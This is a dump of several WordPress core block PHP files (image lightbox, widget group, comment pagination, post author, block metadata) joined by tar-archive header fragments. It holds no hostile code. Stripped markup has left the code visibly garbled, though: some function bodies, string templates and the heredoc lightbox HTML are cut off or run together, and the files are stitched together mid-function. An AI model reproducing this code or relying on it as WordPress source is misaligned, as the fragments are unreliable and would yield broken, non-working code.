`gutenberg_should_render_lightbox` filter. // We can remove this elseif statement when the legacy lightbox settings are removed. } elseif ( isset( $block['legacyLightboxSettings'] ) ) { $lightbox_settings = $block['legacyLightboxSettings']; } if ( ! isset( $lightbox_settings ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ), array( 'block_name' => 'core/image' ) ); // If not present in global settings, check the top-level global settings. // // NOTE: If no block-level settings are found, the previous call to // `wp_get_global_settings` will return the whole `theme.json` // structure in which case we can check if the "lightbox" key is present at // the top-level of the global settings and use its value. if ( isset( $lightbox_settings['lightbox'] ) ) { $lightbox_settings = wp_get_global_settings( array( 'lightbox' ) ); } } return $lightbox_settings ?? null; } /** * Adds the directives and layout needed for the lightbox behavior. * * @param string $block_content Rendered block content. * @param array $block Block object. * * @return string Filtered block content. */ function block_core_image_render_lightbox( $block_content, $block ) { /* * If it's not possible that an IMG element exists then return the given * block content as-is. It may be that there's no actual image in the block * or it could be that another plugin already modified this HTML. */ if ( false === stripos( $block_content, 'next_tag( 'img' ) ) { return $block_content; } $alt_attribute = $processor->get_attribute( 'alt' ); // An empty alt attribute `alt=""` is valid for decorative images. if ( is_string( $alt_attribute ) ) { $alt_attribute = trim( $alt_attribute ); } // It only makes sense to append the alt text to the button aria-label when the alt text is non-empty. if ( $alt_attribute ) { /* translators: %s: Image alt text. */ $aria_label = sprintf( __( 'Enlarge image: %s' ), $alt_attribute ); } // Currently, we are only enabling the zoom animation. $lightbox_animation = 'zoom'; // Note: We want to store the `src` in the context so we // can set it dynamically when the lightbox is opened. if ( isset( $block['attrs']['id'] ) ) { $img_uploaded_src = wp_get_attachment_url( $block['attrs']['id'] ); $img_metadata = wp_get_attachment_metadata( $block['attrs']['id'] ); $img_width = $img_metadata['width'] ?? 'none'; $img_height = $img_metadata['height'] ?? 'none'; } else { $img_uploaded_src = $processor->get_attribute( 'src' ); $img_width = 'none'; $img_height = 'none'; } if ( isset( $block['attrs']['scale'] ) ) { $scale_attr = $block['attrs']['scale']; } else { $scale_attr = false; } $w = new WP_HTML_Tag_Processor( $block_content ); $w->next_tag( 'figure' ); $w->add_class( 'wp-lightbox-container' ); $w->set_attribute( 'data-wp-interactive', true ); $w->set_attribute( 'data-wp-context', sprintf( '{ "core": { "image": { "imageLoaded": false, "initialized": false, "lightboxEnabled": false, "hideAnimationEnabled": false, "preloadInitialized": false, "lightboxAnimation": "%s", "imageUploadedSrc": "%s", "imageCurrentSrc": "", "targetWidth": "%s", "targetHeight": "%s", "scaleAttr": "%s", "dialogLabel": "%s" } } }', $lightbox_animation, $img_uploaded_src, $img_width, $img_height, $scale_attr, __( 'Enlarged image' ) ) ); $w->next_tag( 'img' ); $w->set_attribute( 'data-wp-init', 'effects.core.image.initOriginImage' ); $w->set_attribute( 'data-wp-on--load', 'actions.core.image.handleLoad' ); $w->set_attribute( 'data-wp-effect', 'effects.core.image.setButtonStyles' ); // We need to set an event callback on the `img` specifically // because the `figure` element can also contain a caption, and // we don't want to trigger the lightbox when the caption is clicked. $w->set_attribute( 'data-wp-on--click', 'actions.core.image.showLightbox' ); $w->set_attribute( 'data-wp-effect--setStylesOnResize', 'effects.core.image.setStylesOnResize' ); $body_content = $w->get_updated_html(); // Add a button alongside image in the body content. $img = null; preg_match( '/]+>/', $body_content, $img ); $button = $img[0] . ''; $body_content = preg_replace( '/]+>/', $button, $body_content ); // We need both a responsive image and an enlarged image to animate // the zoom seamlessly on slow internet connections; the responsive // image is a copy of the one in the body, which animates immediately // as the lightbox is opened, while the enlarged one is a full-sized // version that will likely still be loading as the animation begins. $m = new WP_HTML_Tag_Processor( $block_content ); $m->next_tag( 'figure' ); $m->add_class( 'responsive-image' ); $m->next_tag( 'img' ); // We want to set the 'src' attribute to an empty string in the responsive image // because otherwise, as of this writing, the wp_filter_content_tags() function in // WordPress will automatically add a 'srcset' attribute to the image, which will at // times cause the incorrectly sized image to be loaded in the lightbox on Firefox. // Because of this, we bind the 'src' attribute explicitly the current src to reliably // use the exact same image as in the content when the lightbox is first opened while // we wait for the larger image to load. $m->set_attribute( 'src', '' ); $m->set_attribute( 'data-wp-bind--src', 'context.core.image.imageCurrentSrc' ); $m->set_attribute( 'data-wp-style--object-fit', 'selectors.core.image.lightboxObjectFit' ); $initial_image_content = $m->get_updated_html(); $q = new WP_HTML_Tag_Processor( $block_content ); $q->next_tag( 'figure' ); $q->add_class( 'enlarged-image' ); $q->next_tag( 'img' ); // We set the 'src' attribute to an empty string to prevent the browser from loading the image // on initial page load, then bind the attribute to a selector that returns the full-sized image src when // the lightbox is opened. We could use 'loading=lazy' in combination with the 'hidden' attribute to // accomplish the same behavior, but that approach breaks progressive loading of the image in Safari // and Chrome (see https://github.com/WordPress/gutenberg/pull/52765#issuecomment-1674008151). Until that // is resolved, manually setting the 'src' seems to be the best solution to load the large image on demand. $q->set_attribute( 'src', '' ); $q->set_attribute( 'data-wp-bind--src', 'selectors.core.image.enlargedImgSrc' ); $q->set_attribute( 'data-wp-style--object-fit', 'selectors.core.image.lightboxObjectFit' ); $enlarged_image_content = $q->get_updated_html(); // If the current theme does NOT have a `theme.json`, or the colors are not defined, // we need to set the background color & close button color to some default values // because we can't get them from the Global Styles. $background_color = '#fff'; $close_button_color = '#000'; if ( wp_theme_has_theme_json() ) { $global_styles_color = wp_get_global_styles( array( 'color' ) ); if ( ! empty( $global_styles_color['background'] ) ) { $background_color = esc_attr( $global_styles_color['background'] ); } if ( ! empty( $global_styles_color['text'] ) ) { $close_button_color = esc_attr( $global_styles_color['text'] ); } } $close_button_icon = ''; $close_button_label = esc_attr__( 'Close' ); $lightbox_html = << HTML; return str_replace( '', $lightbox_html . '', $body_content ); } /** * Ensures that the view script has the `wp-interactivity` dependency. * * @since 6.4.0 * * @global WP_Scripts $wp_scripts */ function block_core_image_ensure_interactivity_dependency() { global $wp_scripts; if ( isset( $wp_scripts->registered['wp-block-image-view'] ) && ! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-image-view']->deps, true ) ) { $wp_scripts->registered['wp-block-image-view']->deps[] = 'wp-interactivity'; } } add_action( 'wp_print_scripts', 'block_core_image_ensure_interactivity_dependency' ); /** * Registers the `core/image` block on server. */ function register_block_core_image() { register_block_type_from_metadata( __DIR__ . '/image', array( 'render_callback' => 'render_block_core_image', ) ); } add_action( 'init', 'register_block_core_image' ); blocks/widget-group.php000064400000004166151202620300011145 0ustar00'; $after_title = ''; } $html = ''; if ( ! empty( $attributes['title'] ) ) { $html .= $before_title . esc_html( $attributes['title'] ) . $after_title; } $html .= '
    '; foreach ( $block->inner_blocks as $inner_block ) { $html .= $inner_block->render(); } $html .= '
    '; return $html; } /** * Registers the 'core/widget-group' block. */ function register_block_core_widget_group() { register_block_type_from_metadata( __DIR__ . '/widget-group', array( 'render_callback' => 'render_block_core_widget_group', ) ); } add_action( 'init', 'register_block_core_widget_group' ); /** * Make a note of the sidebar being rendered before WordPress starts rendering * it. This lets us get to the current sidebar in * render_block_core_widget_group(). * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ function note_sidebar_being_rendered( $index ) { global $_sidebar_being_rendered; $_sidebar_being_rendered = $index; } add_action( 'dynamic_sidebar_before', 'note_sidebar_being_rendered' ); /** * Clear whatever we set in note_sidebar_being_rendered() after WordPress * finishes rendering a sidebar. */ function discard_sidebar_being_rendered() { global $_sidebar_being_rendered; unset( $_sidebar_being_rendered ); } add_action( 'dynamic_sidebar_after', 'discard_sidebar_being_rendered' ); blocks/comments-pagination-numbers.php000064400000003072151202620300014150 0ustar00context['postId'] ) ) { return ''; } $comment_vars = build_comment_query_vars_from_block( $block ); $total = ( new WP_Comment_Query( $comment_vars ) )->max_num_pages; $current = ! empty( $comment_vars['paged'] ) ? $comment_vars['paged'] : null; // Render links. $content = paginate_comments_links( array( 'total' => $total, 'current' => $current, 'prev_next' => false, 'echo' => false, ) ); if ( empty( $content ) ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '
    %2$s
    ', $wrapper_attributes, $content ); } /** * Registers the `core/comments-pagination-numbers` block on the server. */ function register_block_core_comments_pagination_numbers() { register_block_type_from_metadata( __DIR__ . '/comments-pagination-numbers', array( 'render_callback' => 'render_block_core_comments_pagination_numbers', ) ); } add_action( 'init', 'register_block_core_comments_pagination_numbers' ); blocks/post-author.php000064400000005007151202620300011010 0ustar00context['postId'] ) ) { $author_id = get_query_var( 'author' ); } else { $author_id = get_post_field( 'post_author', $block->context['postId'] ); } if ( empty( $author_id ) ) { return ''; } $avatar = ! empty( $attributes['avatarSize'] ) ? get_avatar( $author_id, $attributes['avatarSize'] ) : null; $link = get_author_posts_url( $author_id ); $author_name = get_the_author_meta( 'display_name', $author_id ); if ( ! empty( $attributes['isLink'] && ! empty( $attributes['linkTarget'] ) ) ) { $author_name = sprintf( '%3$s', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $author_name ); } $byline = ! empty( $attributes['byline'] ) ? $attributes['byline'] : false; $classes = array(); if ( isset( $attributes['itemsJustification'] ) ) { $classes[] = 'items-justified-' . $attributes['itemsJustification']; } if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '
    ', $wrapper_attributes ) . ( ! empty( $attributes['showAvatar'] ) ? '' : '' ) . '' . '
    '; } /** * Registers the `core/post-author` block on the server. */ function register_block_core_post_author() { register_block_type_from_metadata( __DIR__ . '/post-author', array( 'render_callback' => 'render_block_core_post_author', ) ); } add_action( 'init', 'register_block_core_post_author' ); blocks/require-static-blocks.php000064400000001030151202620300012727 0ustar00 array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/archives', 'title' => 'Archives', 'category' => 'widgets', 'description' => 'Display a date archive of your posts.', 'textdomain' => 'default', 'attributes' => array( 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false ), 'type' => array( 'type' => 'string', 'default' => 'monthly' ) ), 'supports' => array( 'align' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-archives-editor' ), 'audio' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/audio', 'title' => 'Audio', 'category' => 'media', 'description' => 'Embed a simple audio player.', 'keywords' => array( 'music', 'sound', 'podcast', 'recording' ), 'textdomain' => 'default', 'attributes' => array( 'src' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'src', '__experimentalRole' => 'content' ), 'caption' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'figcaption', '__experimentalRole' => 'content' ), 'id' => array( 'type' => 'number', '__experimentalRole' => 'content' ), 'autoplay' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'autoplay' ), 'loop' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'loop' ), 'preload' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'preload' ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ) ), 'editorStyle' => 'wp-block-audio-editor', 'style' => 'wp-block-audio' ), 'avatar' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/avatar', 'title' => 'Avatar', 'category' => 'theme', 'description' => 'Add a user’s avatar.', 'textdomain' => 'default', 'attributes' => array( 'userId' => array( 'type' => 'number' ), 'size' => array( 'type' => 'number', 'default' => 96 ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postType', 'postId', 'commentId' ), 'supports' => array( 'html' => false, 'align' => true, 'alignWide' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), '__experimentalBorder' => array( '__experimentalSkipSerialization' => true, 'radius' => true, 'width' => true, 'color' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true ) ), 'color' => array( 'text' => false, 'background' => false, '__experimentalDuotone' => 'img' ) ), 'selectors' => array( 'border' => '.wp-block-avatar img' ), 'editorStyle' => 'wp-block-avatar-editor', 'style' => 'wp-block-avatar' ), 'block' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/block', 'title' => 'Pattern', 'category' => 'reusable', 'description' => 'Create and save content to reuse across your site. Update the pattern, and the changes apply everywhere it’s used.', 'keywords' => array( 'reusable' ), 'textdomain' => 'default', 'attributes' => array( 'ref' => array( 'type' => 'number' ) ), 'supports' => array( 'customClassName' => false, 'html' => false, 'inserter' => false ) ), 'button' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/button', 'title' => 'Button', 'category' => 'design', 'parent' => array( 'core/buttons' ), 'description' => 'Prompt visitors to take action with a button-style link.', 'keywords' => array( 'link' ), 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'enum' => array( 'a', 'button' ), 'default' => 'a' ), 'type' => array( 'type' => 'string', 'default' => 'button' ), 'textAlign' => array( 'type' => 'string' ), 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'href', '__experimentalRole' => 'content' ), 'title' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a,button', 'attribute' => 'title', '__experimentalRole' => 'content' ), 'text' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'a,button', '__experimentalRole' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'target', '__experimentalRole' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'rel', '__experimentalRole' => 'content' ), 'placeholder' => array( 'type' => 'string' ), 'backgroundColor' => array( 'type' => 'string' ), 'textColor' => array( 'type' => 'string' ), 'gradient' => array( 'type' => 'string' ), 'width' => array( 'type' => 'number' ) ), 'supports' => array( 'anchor' => true, 'align' => false, 'alignWide' => false, 'color' => array( '__experimentalSkipSerialization' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'reusable' => false, 'shadow' => true, 'spacing' => array( '__experimentalSkipSerialization' => true, 'padding' => array( 'horizontal', 'vertical' ), '__experimentalDefaultControls' => array( 'padding' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), '__experimentalSelector' => '.wp-block-button .wp-block-button__link' ), 'styles' => array( array( 'name' => 'fill', 'label' => 'Fill', 'isDefault' => true ), array( 'name' => 'outline', 'label' => 'Outline' ) ), 'editorStyle' => 'wp-block-button-editor', 'style' => 'wp-block-button' ), 'buttons' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/buttons', 'title' => 'Buttons', 'category' => 'design', 'description' => 'Prompt visitors to take action with a group of button-style links.', 'keywords' => array( 'link' ), 'textdomain' => 'default', 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, '__experimentalExposeControlsToChildren' => true, 'spacing' => array( 'blockGap' => true, 'margin' => array( 'top', 'bottom' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ) ), 'editorStyle' => 'wp-block-buttons-editor', 'style' => 'wp-block-buttons' ), 'calendar' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/calendar', 'title' => 'Calendar', 'category' => 'widgets', 'description' => 'A calendar of your site’s posts.', 'keywords' => array( 'posts', 'archive' ), 'textdomain' => 'default', 'attributes' => array( 'month' => array( 'type' => 'integer' ), 'year' => array( 'type' => 'integer' ) ), 'supports' => array( 'align' => true, 'color' => array( 'link' => true, '__experimentalSkipSerialization' => array( 'text', 'background' ), '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ), '__experimentalSelector' => 'table, th' ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-calendar' ), 'categories' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/categories', 'title' => 'Categories List', 'category' => 'widgets', 'description' => 'Display a list of all categories.', 'textdomain' => 'default', 'attributes' => array( 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false ), 'showHierarchy' => array( 'type' => 'boolean', 'default' => false ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false ), 'showOnlyTopLevel' => array( 'type' => 'boolean', 'default' => false ), 'showEmpty' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'align' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-categories-editor', 'style' => 'wp-block-categories' ), 'code' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/code', 'title' => 'Code', 'category' => 'text', 'description' => 'Display code snippets that respect your spacing and tabs.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'code', '__unstablePreserveWhiteSpace' => true ) ), 'supports' => array( 'align' => array( 'wide' ), 'anchor' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'width' => true, 'color' => true ) ), 'color' => array( 'text' => true, 'background' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ) ), 'style' => 'wp-block-code' ), 'column' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/column', 'title' => 'Column', 'category' => 'design', 'parent' => array( 'core/columns' ), 'description' => 'A single column within a columns block.', 'textdomain' => 'default', 'attributes' => array( 'verticalAlignment' => array( 'type' => 'string' ), 'width' => array( 'type' => 'string' ), 'allowedBlocks' => array( 'type' => 'array' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'supports' => array( '__experimentalOnEnter' => true, 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'button' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'blockGap' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), '__experimentalBorder' => array( 'color' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'style' => true, 'width' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => true ) ), 'columns' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/columns', 'title' => 'Columns', 'category' => 'design', 'description' => 'Display content in multiple columns, with blocks added to each column.', 'textdomain' => 'default', 'attributes' => array( 'verticalAlignment' => array( 'type' => 'string' ), 'isStackedOnMobile' => array( 'type' => 'boolean', 'default' => true ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, 'heading' => true, 'button' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'blockGap' => array( '__experimentalDefault' => '2em', 'sides' => array( 'horizontal', 'vertical' ) ), 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowEditing' => false, 'default' => array( 'type' => 'flex', 'flexWrap' => 'nowrap' ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-columns-editor', 'style' => 'wp-block-columns' ), 'comment-author-name' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-author-name', 'title' => 'Comment Author Name', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the name of the author of the comment.', 'textdomain' => 'default', 'attributes' => array( 'isLink' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'textAlign' => array( 'type' => 'string' ) ), 'usesContext' => array( 'commentId' ), 'supports' => array( 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'comment-content' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-content', 'title' => 'Comment Content', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the contents of a comment.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'padding' => array( 'horizontal', 'vertical' ), '__experimentalDefaultControls' => array( 'padding' => true ) ), 'html' => false ) ), 'comment-date' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-date', 'title' => 'Comment Date', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the date on which the comment was posted.', 'textdomain' => 'default', 'attributes' => array( 'format' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'commentId' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'comment-edit-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-edit-link', 'title' => 'Comment Edit Link', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'attributes' => array( 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'html' => false, 'color' => array( 'link' => true, 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ) ), 'comment-reply-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-reply-link', 'title' => 'Comment Reply Link', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays a link to reply to a comment.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'color' => array( 'gradients' => true, 'link' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'html' => false ) ), 'comment-template' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-template', 'title' => 'Comment Template', 'category' => 'design', 'parent' => array( 'core/comments' ), 'description' => 'Contains the block elements used to display a comment, like the title, date, author, avatar and more.', 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'supports' => array( 'align' => true, 'html' => false, 'reusable' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'style' => 'wp-block-comment-template' ), 'comments' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments', 'title' => 'Comments', 'category' => 'theme', 'description' => 'An advanced block that allows displaying post comments using different visual configurations.', 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'legacy' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-comments-editor', 'usesContext' => array( 'postId', 'postType' ) ), 'comments-pagination' => array( 